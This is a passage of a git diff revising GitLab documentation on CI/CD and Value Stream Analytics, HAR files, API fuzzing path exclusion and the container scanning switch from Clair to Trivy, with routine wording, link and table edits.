-## Pipeline success and duration charts **(FREE)** +## Pipeline success and duration charts -> - Introduced in GitLab 3.1.1 as Commit Stats, and later renamed to Pipeline Charts. -> - [Renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/38318) to CI/CD Analytics in GitLab 12.8. +> [Renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/38318) to CI/CD Analytics in GitLab 12.8. GitLab tracks the history of your pipeline successes and failures, as well as how long each pipeline ran. To view this information, go to **Analytics > CI/CD Analytics**. @@ -48,14 +47,14 @@ performance indicators for software development teams: The following table shows the supported metrics, at which level they are supported, and which GitLab version (API and UI) they were introduced: -| Metric | Level | API version | Chart (UI) version | Comments | -| --------------- | ----------- | --------------- | ---------- | ------- | -| `deployment_frequency` | Project-level | [13.7+](../../api/dora/metrics.md) | [13.8+](#deployment-frequency-charts) | The [old API endpoint](../../api/dora4_project_analytics.md) was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/323713) in 13.10. | -| `deployment_frequency` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | | -| `lead_time_for_changes` | Project-level | [13.10+](../../api/dora/metrics.md) | [13.11+](#lead-time-charts) | Unit in seconds. Aggregation method is median. | -| `lead_time_for_changes` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | Unit in seconds. Aggregation method is median. | -| `change_failure_rate` | Project/Group-level | To be supported | To be supported | | -| `time_to_restore_service` | Project/Group-level | To be supported | To be supported | | +| Metric | Level | API version | Chart (UI) version | Comments | +|---------------------------|---------------------|--------------------------------------|---------------------------------------|-----------| +| `deployment_frequency` | Project-level | [13.7+](../../api/dora/metrics.md) | [13.8+](#deployment-frequency-charts) | The [old API endpoint](../../api/dora4_project_analytics.md) was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/323713) in 13.10. | +| `deployment_frequency` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | | +| `lead_time_for_changes` | Project-level | [13.10+](../../api/dora/metrics.md) | [13.11+](#lead-time-charts) | Unit in seconds. Aggregation method is median. | +| `lead_time_for_changes` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | Unit in seconds. Aggregation method is median. | +| `change_failure_rate` | Project/Group-level | To be supported | To be supported | | +| `time_to_restore_service` | Project/Group-level | To be supported | To be supported | | ### Deployment frequency charts **(ULTIMATE)** @@ -85,4 +84,4 @@ processes. For time periods in which no merge requests were deployed, the charts render a red, dashed line. -These charts are only available for projects. +These charts are available for both groups and projects. diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md index d50a183aa54..8c67163c4b0 100644 --- a/doc/user/analytics/index.md +++ b/doc/user/analytics/index.md @@ -4,7 +4,7 @@ group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Analytics **(FREE)** +# Analyze GitLab usage **(FREE)** ## Definitions diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md index 2af98492ee7..c3b3fcba52e 100644 --- a/doc/user/analytics/value_stream_analytics.md +++ b/doc/user/analytics/value_stream_analytics.md @@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Value Stream Analytics **(FREE)** > - Introduced as Cycle Analytics prior to GitLab 12.3 at the project level. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12077) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3 at the group level. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12077) in GitLab Premium 12.3 at the group level. > - [Renamed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23427) from Cycle Analytics to Value Stream Analytics in GitLab 12.8. Value Stream Analytics measures the time spent to go from an @@ -15,20 +15,20 @@ Value Stream Analytics measures the time spent to go from an (also known as cycle time) for each of your projects or groups. Value Stream Analytics displays the median time spent in each stage defined in the process. -Value Stream Analytics is useful in order to quickly determine the velocity of a given +You can use Value Stream Analytics to determine the velocity of a given project. It points to bottlenecks in the development process, enabling management to uncover, triage, and identify the root cause of slowdowns in the software development life cycle. -For information on how to contribute to the development of Value Stream Analytics, see our [contributor documentation](../../development/value_stream_analytics.md). +For information about how to contribute to the development of Value Stream Analytics, see our [contributor documentation](../../development/value_stream_analytics.md). -Project-level Value Stream Analytics is available via **Project > Analytics > Value Stream**. +Project-level Value Stream Analytics is available by using **Project > Analytics > Value Stream**. NOTE: [Group-level Value Stream Analytics](../group/value_stream_analytics) is also available. ## Default stages -The stages tracked by Value Stream Analytics by default represent the [GitLab flow](../../topics/gitlab_flow.md). These stages can be customized in Group Level Value Stream Analytics. +The stages tracked by Value Stream Analytics by default represent the [GitLab flow](../../topics/gitlab_flow.md). You can customize these stages in group-level Value Stream Analytics. - **Issue** (Tracker) - Time to schedule an issue (by milestone or by adding it to an issue board) @@ -38,55 +38,49 @@ The stages tracked by Value Stream Analytics by default represent the [GitLab fl - Time to create a merge request - **Test** (CI) - Time it takes GitLab CI/CD to test your code -- **Review** (Merge Request/MR) +- **Review** (Merge request) - Time spent on code review - **Staging** (Continuous Deployment) - Time between merging and deploying to production ### Date ranges -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/36300) in GitLab 10.0. - -GitLab provides the ability to filter analytics based on a date range. To filter results, select one of these options: - -1. Last 7 days -1. Last 30 days (default) -1. Last 90 days +To filter analytics results based on a date range, +select different **From** and **To** days +from the date picker (default: last 30 days). ## How Time metrics are measured -The "Time" metrics near the top of the page are measured as follows: +The **Time** metrics near the top of the page are measured as follows: -- **Lead time**: median time from issue created to issue closed. -- **Cycle time**: median time from first commit to issue closed. (You can associate a commit with an issue by [crosslinking in the commit message](../project/issues/crosslinking_issues.md#from-commit-messages).) +- **Lead time**: Median time from issue created to issue closed. +- **Cycle time**: Median time from first commit to issue closed. (You can associate a commit with an issue by [crosslinking in the commit message](../project/issues/crosslinking_issues.md#from-commit-messages).) ## How the stages are measured -Value Stream Analytics uses start events and stop events to measure the time that an Issue or MR spends in each stage. -For example, a stage might start when one label is added to an issue, and end when another label is added. -Items are not included in the stage time calculation if they have not reached the stop event. - -Each stage of Value Stream Analytics is further described in the table below. +Value Stream Analytics uses start events and stop events to measure the time that an issue or merge request spends in each stage. +For example, a stage might start when one label is added to an issue and end when another label is added. +Items aren't included in the stage time calculation if they have not reached the stop event. -| **Stage** | **Description** | -| --------- | --------------- | -| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whichever comes first. The label is tracked only if it already includes an [Issue Board list](../project/issue_board.md) created for it. | -| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. That first branch commit triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch must include the related issue number (such as `#42`). If the issue number is *not* included in a commit, that data is not included in the measurement time of the stage. | -| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR). The process is tracked with the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) in the description of the merge request. For example, if the issue is closed with `Closes #xxx`, it's assumed that `xxx` is issue number for the merge request). If there is no closing pattern, the start time is set to the create time of the first commit. | -| Test | Essentially the start to finish time for all pipelines. Measures the median time to run the entire pipeline for that project. Related to the time required by GitLab CI/CD to run every job for the commits pushed to that merge request, as defined in the previous stage. | -| Review | Measures the median time taken to review merge requests with a closing issue pattern, from creation to merge. | -| Staging | Measures the median time between merging the merge request (with a closing issue pattern) to the first deployment to a [production environment](#how-the-production-environment-is-identified). Data not collected without a production environment. | +| Stage | Description | +|---------|---------------| +| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whichever comes first. The label is tracked only if it already includes an [Issue Board list](../project/issue_board.md) created for it. | +| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. That first branch commit triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch must include the related issue number (such as `#42`). If the issue number is *not* included in a commit, that data is not included in the measurement time of the stage. | +| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR). The process is tracked with the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) in the description of the merge request. For example, if the issue is closed with `Closes #xxx`, it's assumed that `xxx` is issue number for the merge request). If there is no closing pattern, the start time is set to the create time of the first commit. | +| Test | Essentially the start to finish time for all pipelines. Measures the median time to run the entire pipeline for that project. Related to the time required by GitLab CI/CD to run every job for the commits pushed to that merge request, as defined in the previous stage. | +| Review | Measures the median time taken to review merge requests with a closing issue pattern, from creation to merge. | +| Staging | Measures the median time between merging the merge request (with a closing issue pattern) to the first deployment to a [production environment](#how-the-production-environment-is-identified). Data not collected without a production environment. | -How this works, behind the scenes: +How this works: 1. Issues and merge requests are grouped in pairs, where the merge request has the [closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) - for the corresponding issue. Issue/merge request pairs without closing patterns are - **not** included. -1. Issue/merge request pairs are filtered by the last XX days, specified through the UI - (default = 90 days). Pairs outside the filtered range are not included. + for the corresponding issue. Issue and merge request pairs without closing patterns are + not included. +1. Issue and merge request pairs are filtered by the last XX days, specified through the UI + (default is `90` days). Pairs outside the filtered range are not included. 1. For the remaining pairs, review information needed for stages, including - issue creation date, merge request merge time, and so on. + issue creation date and merge request merge time. In short, the Value Stream Analytics dashboard tracks data related to [GitLab flow](../../topics/gitlab_flow.md). It does not include data for: @@ -97,67 +91,69 @@ In short, the Value Stream Analytics dashboard tracks data related to [GitLab fl ## How the production environment is identified -Value Stream Analytics identifies production environments based on -[the deployment tier of environments](../../ci/environments/index.md#deployment-tier-of-environments). +Value Stream Analytics identifies production environments based on the +[deployment tier of environments](../../ci/environments/index.md#deployment-tier-of-environments). ## Example workflow -Below is a simple fictional workflow of a single cycle that happens in a -single day passing through all seven stages. Note that if a stage does not have -a start and a stop mark, it is not measured and hence not calculated in the median -time. It is assumed that milestones are created and CI for testing and setting +Here's a fictional workflow of a single cycle that happens in a +single day, passing through all seven stages. If a stage doesn't have +a start and a stop mark, it isn't measured and hence isn't calculated in the median +time. It's assumed that milestones are created, and CI for testing and setting environments is configured. 1. Issue is created at 09:00 (start of **Issue** stage). -1. Issue is added to a milestone at 11:00 (stop of **Issue** stage / start of +1. Issue is added to a milestone at 11:00 (stop of **Issue** stage and start of **Plan** stage). -1. Start working on the issue, create a branch locally and make one commit at +1. Start working on the issue, create a branch locally, and make one commit at 12:00. -1. Make a second commit to the branch which mentions the issue number at 12.30 - (stop of **Plan** stage / start of **Code** stage). -1. Push branch and create a merge request that contains the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) - in its description at 14:00 (stop of **Code** stage / start of **Test** and +1. Make a second commit to the branch that mentions the issue number at 12:30 + (stop of **Plan** stage and start of **Code** stage). +1. Push branch, and create a merge request that contains the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) + in its description at 14:00 (stop of **Code** stage and start of **Test** and **Review** stages). 1. The CI starts running your scripts defined in [`.gitlab-ci.yml`](../../ci/yaml/README.md) and - takes 5min (stop of **Test** stage). -1. Review merge request, ensure that everything is OK and merge the merge - request at 19:00. (stop of **Review** stage / start of **Staging** stage). -1. Now that the merge request is merged, a deployment to the `production` + takes 5 minutes (stop of **Test** stage). +1. Review merge request, ensure that everything is okay, and then merge the merge + request at 19:00 (stop of **Review** stage and start of **Staging** stage). +1. The merge request is merged, and a deployment to the `production` environment starts and finishes at 19:30 (stop of **Staging** stage). -From the above example we see the time used for each stage: +From the previous example we see the time used for each stage: -- **Issue**: 2h (11:00 - 09:00) -- **Plan**: 1h (12:00 - 11:00) -- **Code**: 2h (14:00 - 12:00) -- **Test**: 5min -- **Review**: 5h (19:00 - 14:00) -- **Staging**: 30min (19:30 - 19:00) +- **Issue**: 2 hrs (09:00 to 11:00) +- **Plan**: 1 hr (11:00 to 12:00) +- **Code**: 2 hrs (12:00 to 14:00) +- **Test**: 5 mins +- **Review**: 5 hrs (14:00 to 19:00) +- **Staging**: 30 mins (19:00 to 19:30) More information: -- The above example specifies the issue number in a latter commit. The process - still collects analytics data for that issue. -- The time required in the **Test** stage is not included in the overall time of - the cycle. It is included in the **Review** process, as every MR should be +- Although the previous example specifies the issue number in a later commit, the process + still collects analytics data for the issue. +- The time required in the **Test** stage isn't included in the overall time of + the cycle. The time is included in the **Review** process, as every merge request should be tested. -- The example above illustrates only **one cycle** of the multiple stages. Value +- The previous example illustrates only one cycle of the multiple stages. Value Stream Analytics, on its dashboard, shows the calculated median elapsed time for these issues. ## Permissions -The current permissions on the Project-level Value Stream Analytics dashboard are: +The permissions for the project-level Value Stream Analytics dashboard include: -- Public projects - anyone can access. -- Internal projects - any authenticated user can access. -- Private projects - any member Guest and above can access. +| Project type | Permissions | +|--------------|---------------------------------------| +| Public | Anyone can access | +| Internal | Any authenticated user can access | +| Private | Any member Guest and above can access | You can [read more about permissions](../../user/permissions.md) in general. ## More resources -Learn more about Value Stream Analytics in the following resources: +Learn more about Value Stream Analytics with the following resources: - [Value Stream Analytics feature page](https://about.gitlab.com/stages-devops-lifecycle/value-stream-analytics/). - [Value Stream Analytics feature preview](https://about.gitlab.com/blog/2016/09/16/feature-preview-introducing-cycle-analytics/). diff --git a/doc/user/application_security/api_fuzzing/create_har_files.md b/doc/user/application_security/api_fuzzing/create_har_files.md index 220d00adc7b..1162984a02d 100644 --- a/doc/user/application_security/api_fuzzing/create_har_files.md +++ b/doc/user/application_security/api_fuzzing/create_har_files.md @@ -1,11 +1,11 @@ --- stage: Secure -group: Fuzz Testing +group: Dynamic Analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers type: howto --- -# HTTP Archive format +# HTTP Archive format **(ULTIMATE)** HTTP Archive (HAR) format files are an industry standard for exchanging information about HTTP requests and HTTP responses. A HAR file's content is JSON formatted, containing browser interactions @@ -15,7 +15,7 @@ The HAR files can be used to perform [web API Fuzz Testing](index.md#http-archiv your [GitLab CI/CD](../../../ci/README.md) pipelines. WARNING: -**DANGER** A HAR file stores information exchanged between web client and web server. It could also +A HAR file stores information exchanged between web client and web server. It could also store sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR file contents before adding them to a repository. @@ -36,7 +36,7 @@ automatically record your network activity and generate the HAR file: 1. [Firefox web browser](#firefox-web-browser). WARNING: -**DANGER** HAR files may contain sensitive information such as authentication tokens, API keys, and +HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR file contents before adding them to a repository. diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md index 8511c919c14..2b2ac76a7af 100644 --- a/doc/user/application_security/api_fuzzing/index.md +++ b/doc/user/application_security/api_fuzzing/index.md @@ -1,6 +1,6 @@ --- stage: Secure -group: Fuzz Testing +group: Dynamic Analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -48,6 +48,7 @@ Example projects using these methods are available: - [Example HTTP Archive (HAR) project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing-example/-/tree/har) - [Example Postman Collection project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing/postman-api-fuzzing-example) - [Example GraphQL project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing/graphql-api-fuzzing-example) +- [Example SOAP project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing/soap-api-fuzzing-example) ## Enable Web API fuzzing @@ -116,8 +117,8 @@ To generate an API Fuzzing configuration snippet: > Support for OpenAPI Specification v3.0 was > [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/228652) in GitLab 13.9. -The [OpenAPI Specification](https://www.openapis.org/) (formerly the Swagger Specification) is an API description format for REST APIs. -This section shows you how to configure API fuzzing using an OpenAPI Specification to provide information about the target API to test. +The [OpenAPI Specification](https://www.openapis.org/) (formerly the Swagger Specification) is an API description format for REST APIs. +This section shows you how to configure API fuzzing using an OpenAPI Specification to provide information about the target API to test. OpenAPI Specifications are provided as a file system resource or URL. Both JSON and YAML OpenAPI formats are supported. API fuzzing uses an OpenAPI document to generate the request body. When a request body is required, @@ -134,7 +135,7 @@ To configure API fuzzing in GitLab with an OpenAPI Specification: 1. Add the `fuzz` stage to your `.gitlab-ci.yml` file. 1. [Include](../../../ci/yaml/README.md#includetemplate) - the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml) + the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml) in your `.gitlab-ci.yml` file. 1. Provide the profile by adding the `FUZZAPI_PROFILE` CI/CD variable to your `.gitlab-ci.yml` file. @@ -155,7 +156,7 @@ To configure API fuzzing in GitLab with an OpenAPI Specification: dynamic environments. To run API fuzzing against an application dynamically created during a GitLab CI/CD pipeline, have the application persist its URL in an `environment_url.txt` file. API fuzzing automatically parses that file to find its scan target. You can see an - example of this in the [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). + example of this in the [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). Example `.gitlab-ci.yml` file using an OpenAPI Specification: @@ -200,7 +201,7 @@ To configure API fuzzing to use a HAR file: 1. Add the `fuzz` stage to your `.gitlab-ci.yml` file. 1. [Include](../../../ci/yaml/README.md#includetemplate) - the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml) + the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml) in your `.gitlab-ci.yml` file. 1. Provide the profile by adding the `FUZZAPI_PROFILE` CI/CD variable to your `.gitlab-ci.yml` file. @@ -222,7 +223,7 @@ To configure API fuzzing to use a HAR file: dynamic environments. To run API fuzzing against an app dynamically created during a GitLab CI/CD pipeline, have the app persist its domain in an `environment_url.txt` file. API fuzzing automatically parses that file to find its scan target. You can see an - [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). + [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). Example `.gitlab-ci.yml` file using a HAR file: @@ -271,7 +272,7 @@ To configure API fuzzing to use a Postman Collection file: 1. Add the `fuzz` stage to your `.gitlab-ci.yml` file. 1. [Include](../../../ci/yaml/README.md#includetemplate) - the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml) + the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml) in your `.gitlab-ci.yml` file. 1. Provide the profile by adding the `FUZZAPI_PROFILE` CI/CD variable to your `.gitlab-ci.yml` file. @@ -294,7 +295,7 @@ To configure API fuzzing to use a Postman Collection file: dynamic environments. To run API fuzzing against an app dynamically created during a GitLab CI/CD pipeline, have the app persist its domain in an `environment_url.txt` file. API fuzzing automatically parses that file to find its scan target. You can see an - [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). + [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). Example `.gitlab-ci.yml` file using a Postman Collection file: @@ -567,6 +568,7 @@ profile increases as the number of tests increases. | `FUZZAPI_TARGET_URL` | Base URL of API testing target. | | `FUZZAPI_CONFIG` | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/276395) in GitLab 13.12, replaced with default `.gitlab/gitlab-api-fuzzing-config.yml`. API Fuzzing configuration file. | |[`FUZZAPI_PROFILE`](#api-fuzzing-profiles) | Configuration profile to use during testing. Defaults to `Quick-10`. | +|[`FUZZAPI_EXCLUDE_PATHS`](#exclude-paths) | Exclude API URL paths from testing. | |[`FUZZAPI_OPENAPI`](#openapi-specification) | OpenAPI Specification file or URL. | |[`FUZZAPI_HAR`](#http-archive-har) | HTTP Archive (HAR) file. | |[`FUZZAPI_POSTMAN_COLLECTION`](#postman-collection) | Postman Collection file. | @@ -778,7 +780,7 @@ variables: ``` In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a -[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables): +[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance): ```yaml stages: @@ -824,6 +826,47 @@ variables: FUZZAPI_OVERRIDES_INTERVAL: 300 ``` +### Exclude Paths + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211892) in GitLab 14.0. + +When testing an API it can be useful to exclude certain paths. For example, you might exclude testing of an authentication service or an older version of the API. To exclude paths, use the `FUZZAPI_EXCLUDE_PATHS` CI/CD variable . This variable is specified in your `.gitlab-ci.yml` file. To exclude multiple paths, separate entries using the `;` character. In the provided paths you can use a single character wildcard `?` and `*` for a multiple character wildcard. + +To verify the paths are excluded, review the `Tested Operations` and `Excluded Operations` portion of the job output. You should not see any excluded paths listed under `Tested Operations`. + +```plaintext +2021-05-27 21:51:08 [INF] API Security: --[ Tested Operations ]------------------------- +2021-05-27 21:51:08 [INF] API Security: 201 POST http://target:7777/api/users CREATED +2021-05-27 21:51:08 [INF] API Security: ------------------------------------------------ +2021-05-27 21:51:08 [INF] API Security: --[ Excluded Operations ]----------------------- +2021-05-27 21:51:08 [INF] API Security: GET http://target:7777/api/messages +2021-05-27 21:51:08 [INF] API Security: POST http://target:7777/api/messages +2021-05-27 21:51:08 [INF] API Security: ------------------------------------------------ +``` + +#### Examples of excluding paths + +This example excludes the `/auth` resource. This does not exclude child resources (`/auth/child`). + +```yaml +variables: + FUZZAPI_EXCLUDE_PATHS=/auth +``` + +To exclude `/auth`, and child resources (`/auth/child`), we use a wildcard. + +```yaml +variables: + FUZZAPI_EXCLUDE_PATHS=/auth* +``` + +To exclude multiple paths we can use the `;` character. In this example we exclude `/auth*` and `/v1/*`. + +```yaml +variables: + FUZZAPI_EXCLUDE_PATHS=/auth*;/v1/* +``` + ### Header Fuzzing Header fuzzing is disabled by default due to the high number of false positives that occur with many @@ -1159,7 +1202,7 @@ The API Fuzzing engine outputs an error message when it cannot establish a conne **Solution** - Remove the `FUZZAPI_API` variable from the `.gitlab-ci.yml` file. The value will be inherited from the API Fuzzing CI/CD template. We recommend this method instead of manually setting a value. -- If removing the variable is not possible, check to see if this value has changed in the latest version of the [API Fuzzing CI/CD template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file. +- If removing the variable is not possible, check to see if this value has changed in the latest version of the [API Fuzzing CI/CD template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file. ### Application cannot determine the base URL for the target API @@ -1171,7 +1214,7 @@ The best-suited solution will depend on whether or not your target API changes f #### Static environment solution -This solution is for pipelines in which the target API URL doesn't change (is static). +This solution is for pipelines in which the target API URL doesn't change (is static). **Add environmental variable** @@ -1188,7 +1231,7 @@ include: #### Dynamic environment solutions -In a dynamic environment your target API changes for each different deployment. In this case, there is more than one possible solution, we recommend to use the `environment_url.txt` file when dealing with dynamic environments. +In a dynamic environment your target API changes for each different deployment. In this case, there is more than one possible solution, we recommend to use the `environment_url.txt` file when dealing with dynamic environments. **Use environment_url.txt** diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md index 5ab56634d29..8e83ade5608 100644 --- a/doc/user/application_security/container_scanning/index.md +++ b/doc/user/application_security/container_scanning/index.md @@ -10,21 +10,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3672) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.4. WARNING: -GitLab 14.0 will replace its container scanning engine with Trivy. Currently, GitLab uses the open -source Clair engine for container scanning. GitLab 13.9 deprecates Clair. Until GitLab 14.0, this is -not a hard breaking change. Beginning in GitLab 14.0, GitLab will no longer update or maintain -Clair. To ensure that you get regular updates and the latest features, you must use the Trivy -container scanning engine beginning in GitLab 14.0. See the following sections for instructions on -moving from Clair to Trivy. +Versions of GitLab prior to 14.0 used Clair as the default container scanning engine. GitLab 14.0 +replaces Clair with Trivy and removes Clair from the product. If you run container scanning with the +default settings, GitLab switches you seamlessly and automatically to Trivy in GitLab 14.0. However, +if you customized the variables in your container scanning job, you should review the +[migration guide](#migrating-from-clair-to-trivy) and make any necessary updates. Your application's Docker image may itself be based on Docker images that contain known vulnerabilities. By including an extra job in your pipeline that scans for those vulnerabilities and displays them in a merge request, you can use GitLab to audit your Docker-based apps. -GitLab provides integration with two different open-source tools for vulnerability static analysis -in containers: +GitLab provides integration with open-source tools for vulnerability static analysis in containers: -- [Clair](https://github.com/quay/claircore) - [Trivy](https://github.com/aquasecurity/trivy) To integrate GitLab with security scanners other than those listed here, see @@ -41,10 +38,6 @@ information directly in the merge request.  -<!-- NOTE: The container scanning tool references the following heading in the code, so if you - make a change to this heading, make sure to update the documentation URLs used in the - container scanning tool (https://gitlab.com/gitlab-org/security-products/analyzers/klar) --> - ## Requirements To enable container scanning in your pipeline, you need the following: @@ -53,46 +46,25 @@ To enable container scanning in your pipeline, you need the following: or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor. - Docker `18.09.03` or higher installed on the same computer as the runner. If you're using the shared runners on GitLab.com, then this is already the case. -- An image matching the following supported distributions (depending on the analyzer being used): - - | Scanning Engine | Supported distributions | - | --- | --- | - | [Clair](https://github.com/quay/claircore) | [Supported operating systems and languages](https://quay.github.io/claircore/) | - | [Trivy](https://github.com/aquasecurity/trivy) | Supported [operating systems](https://aquasecurity.github.io/trivy/latest/vuln-detection/os/) and [languages](https://aquasecurity.github.io/trivy/latest/vuln-detection/library/) | - +- An image matching the [supported distributions](#supported-distributions). - [Build and push](../../packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd) - your Docker image to your project's container registry. The name of the Docker image should use - the following [predefined CI/CD variables](../../../ci/variables/predefined_variables.md): - - ```plaintext - $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA - ``` - - You can use these directly in your `.gitlab-ci.yml` file: - - ```yaml - build: - image: docker:19.03.12 - stage: build - services: - - docker:19.03.12-dind - variables: - IMAGE_TAG: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA - script: - - docker login -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD" $CI_REGISTRY - - docker build -t $IMAGE_TAG . - - docker push $IMAGE_TAG - ``` + the Docker image to your project's container registry. If using a third-party container + registry, you might need to provide authentication credentials using the `DOCKER_USER` and + `DOCKER_PASSWORD` [configuration variables](#available-cicd-variables). +- The name of the Docker image to scan, in the `DOCKER_IMAGE` [configuration variable](#available-cicd-variables). ## Configuration How you enable container scanning depends on your GitLab version: - GitLab 11.9 and later: [Include](../../../ci/yaml/README.md#includetemplate) the - [`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml) + [`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml) that comes with your GitLab installation. - GitLab versions earlier than 11.9: Copy and use the job from the - [`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml). + [`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml). + +Other changes: + - GitLab 13.6 [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263482) better support for [FIPS](https://csrc.nist.gov/publications/detail/fips/140/2/final) by upgrading the `CS_MAJOR_VERSION` from `2` to `3`. Version `3` of the `container_scanning` Docker image uses @@ -102,17 +74,20 @@ How you enable container scanning depends on your GitLab version: `container_scanning` job's [`before_script`](../../../ci/yaml/README.md#before_script) and [`after_script`](../../../ci/yaml/README.md#after_script) blocks may not work with the new version. To roll back to the previous [`alpine:3.11.3`](https://hub.docker.com/_/alpine)-based - Docker image, you can specify the major version through the [`CS_MAJOR_VERSION`](#available-variables) + Docker image, you can specify the major version through the [`CS_MAJOR_VERSION`](#available-cicd-variables) variable. - GitLab 13.9 [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/322656) integration with [Trivy](https://github.com/aquasecurity/trivy) by upgrading `CS_MAJOR_VERSION` from `3` to `4`. +- GitLab 14.0 [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61850) + integration with 